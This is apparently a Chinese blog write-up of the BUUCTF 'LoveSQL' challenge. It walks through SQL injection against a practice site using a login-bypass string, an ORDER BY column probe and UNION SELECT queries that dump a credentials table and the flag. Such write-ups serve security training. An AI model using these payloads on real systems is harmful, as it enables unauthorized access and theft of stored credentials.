热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

[极客大挑战2019]LoveSQL1(SQL注入)

篇首语:本文由编程笔记#小编为大家整理,主要介绍了[极客大挑战2019]LoveSQL1(SQL注入)相关的知识,希望对你有一定的参考价值。一、SQL注入的

篇首语:本文由编程笔记#小编为大家整理,主要介绍了[极客大挑战 2019]LoveSQL 1(SQL注入)相关的知识,希望对你有一定的参考价值。



一、SQL注入的流程



  • ①判断是否有注入点(判断是否未严格校验)
    • 可控参数的改变是否能影响页面的显示效果
    • 输入的 SQL 语句是否能报错(通过数据库的报错,我们能 猜测 数据库的查询语句是如何拼接的)
    • 输入的 SQL 语句能否不报错(其实就是检查我们的语句能否成功闭合)
  • ②什么类型的注入
  • ③语句是否能被恶意修改
  • ④是否能够成功执行
  • ⑤通过注入获取我们需要的数据

系统的一些信息,我们通过这些信息能够获取到其他表的信息:

select database(); #查看当前库名;
select table_name from information_schema.tables where table_schema=database() ; #查看当前库下的表名
select column_name from information_schema.columns where table_schema=database() and table_name='user'; #查询列名

二、实践


首先我们能看到这个页面,然后我们先使用万能密码登陆试试,我们会发现,当我们输入 " or 1=1# 会显示

但是输入' or 1=1# 的时候我们直接登陆了,说明存在单引号注入

然后我们通过手动二分的方式查询列数:

http://a3ff021b-d96d-475b-a191-d05a74696b43.node4.buuoj.cn:81/check.php?username=admin&password=1' order by 3%23

如果是找到比三大的数字的话,,例如




4



4


4


知道列数之后,我们直接联合查表就好啦

http://a3ff021b-d96d-475b-a191-d05a74696b43.node4.buuoj.cn:81/check.php?username=1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23&password=1


然后我们查一下两个表分别有哪些列,看看flag可能在哪,对于第一个表geekuser
我们查出来有三列:

然后我们看第二张表,我们发现列是相同的:

然后我们查询第一张表的元素,我们发现只有一行信息

http://a3ff021b-d96d-475b-a191-d05a74696b43.node4.buuoj.cn:81/check.php?username=1&password=1' union select 1,2,group_concat(concat_ws(":",id,username,password)) from geekuser%23


同理查询第二张表,我们能得到如下信息:

http://a3ff021b-d96d-475b-a191-d05a74696b43.node4.buuoj.cn:81/check.php?username=1&password=1' union select 1,2,group_concat(concat_ws(":",id,username,password)) from l0ve1ysq1%23


我们 copy 下来能得到:

1:cl4y:wo_tai_nan_le,2:glzjin:glzjin_wants_a_girlfriend,3:Z4cHAr7zCr:biao_ge_dddd_hm,4:0xC4m3l:linux_chuang_shi_ren,5:Ayrain:a_rua_rain,6:Akko:yan_shi_fu_de_mao_bo_he,7:fouc5:cl4y,8:fouc5:di_2_kuai_fu_ji,9:fouc5:di_3_kuai_fu_ji,10:fouc5:di_4_kuai_fu_ji,11:fouc5:di_5_kuai_fu_ji,12:fouc5:di_6_kuai_fu_ji,13:fouc5:di_7_kuai_fu_ji,14:fouc5:di_8_kuai_fu_ji,15:leixiao:Syc_san_da_hacker,16:flag:flaga2b45632-fcff-472c-8cee-90a7d432a0cf

,稍微做一下格式处理可以得到:

1:cl4y:wo_tai_nan_le
2:glzjin:glzjin_wants_a_girlfriend
3:Z4cHAr7zCr:biao_ge_dddd_hm
4:0xC4m3l:linux_chuang_shi_ren
5:Ayrain:a_rua_rain
6:Akko:yan_shi_fu_de_mao_bo_he
7:fouc5:cl4y
8:fouc5:di_2_kuai_fu_ji
9:fouc5:di_3_kuai_fu_ji
10:fouc5:di_4_kuai_fu_ji
11:fouc5:di_5_kuai_fu_ji
12:fouc5:di_6_kuai_fu_ji
13:fouc5:di_7_kuai_fu_ji
14:fouc5:di_8_kuai_fu_ji
15:leixiao:Syc_san_da_hacker
16:flag:flaga2b45632-fcff-472c-8cee-90a7d432a0cf

这里我们就找到了 flaga2b45632-fcff-472c-8cee-90a7d432a0cf


推荐阅读
  • 接上文http:blog.itpub.net29254281viewspace-1318239领导让开发同学鼓捣一个可配置化的后台.又回到了原来的问题如果要灵活,很多参数要 ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • 如何理解MyBatis动态SQL
    本篇内容主要讲解“如何理解MyBatis动态SQL”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“如何理解M ... [详细]
  • Java工作流引擎关于数据加密流程(MD5数据加密防篡改)
    关键字:驰骋工作流程快速开发平台工作流程管理系统工作流引擎asp.net工作流引擎java工作流引擎.开发者表单拖拽式表单工作流系统流程数据加密md5数据保密流程数据防篡改软加密适 ... [详细]
  • oracle text db2,从Oracle 到DB2(一)
    在实际的软件项目的开发过程中,特别是在企业的应用系统集成(EAI)项目中广大开发人员经常遇到不同关系型数据库之间的数据移植问题。笔者根据自己在工作中的不同数据库数据移 ... [详细]
  • linux json 写sql注入,sql注入之json注入(php代码)
    环境phpstudyphp服务端代码security数据库中的users表中的username,password字段用户名adminJSON服务端代码大家实际测试中注 ... [详细]
  • 开发笔记:图书管理系统( JSP + JDBC + Servlet )实现01: 流程分析和数据库建表阶段
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了图书管理系统(JSP+JDBC+Servlet)实现-01:流程分析和数据库建表阶段相关的知识,希望对你有一定的参考价值。 ... [详细]
  • 内存暴增排查分析
    一次偶然间,发现测试环境iis站点内存突然间暴增,平常都是300M,这次一下子暴增到8g于是就开始了接下来的分析发现Dictionary居然有1.78g懵逼windbg分析1.看看 ... [详细]
  • 也就是|单打_.net Core 自我学习随笔——工作的核心:增删改查
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了.netCore自我学习随笔——工作的核心:增删改查相关的知识,希望对你有一定的参考价值。上次介绍了一下如何进行连接 ... [详细]
  • nsitionalENhttp:www.w3.orgTRxhtml1DTDxhtml1-transitional.dtd ... [详细]
  • 本文讨论了Alink回归预测的不完善问题,指出目前主要针对Python做案例,对其他语言支持不足。同时介绍了pom.xml文件的基本结构和使用方法,以及Maven的相关知识。最后,对Alink回归预测的未来发展提出了期待。 ... [详细]
  • Oracle Database 10g许可授予信息及高级功能详解
    本文介绍了Oracle Database 10g许可授予信息及其中的高级功能,包括数据库优化数据包、SQL访问指导、SQL优化指导、SQL优化集和重组对象。同时提供了详细说明,指导用户在Oracle Database 10g中如何使用这些功能。 ... [详细]
  • 本文介绍了使用postman进行接口测试的方法,以测试用户管理模块为例。首先需要下载并安装postman,然后创建基本的请求并填写用户名密码进行登录测试。接下来可以进行用户查询和新增的测试。在新增时,可以进行异常测试,包括用户名超长和输入特殊字符的情况。通过测试发现后台没有对参数长度和特殊字符进行检查和过滤。 ... [详细]
  • 本文详细介绍了MySQL表分区的创建、增加和删除方法,包括查看分区数据量和全库数据量的方法。欢迎大家阅读并给予点评。 ... [详细]
  • 延迟注入工具(python)的SQL脚本
    本文介绍了一个延迟注入工具(python)的SQL脚本,包括使用urllib2、time、socket、threading、requests等模块实现延迟注入的方法。该工具可以通过构造特定的URL来进行注入测试,并通过延迟时间来判断注入是否成功。 ... [详细]
author-avatar
火山哥哥5237
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有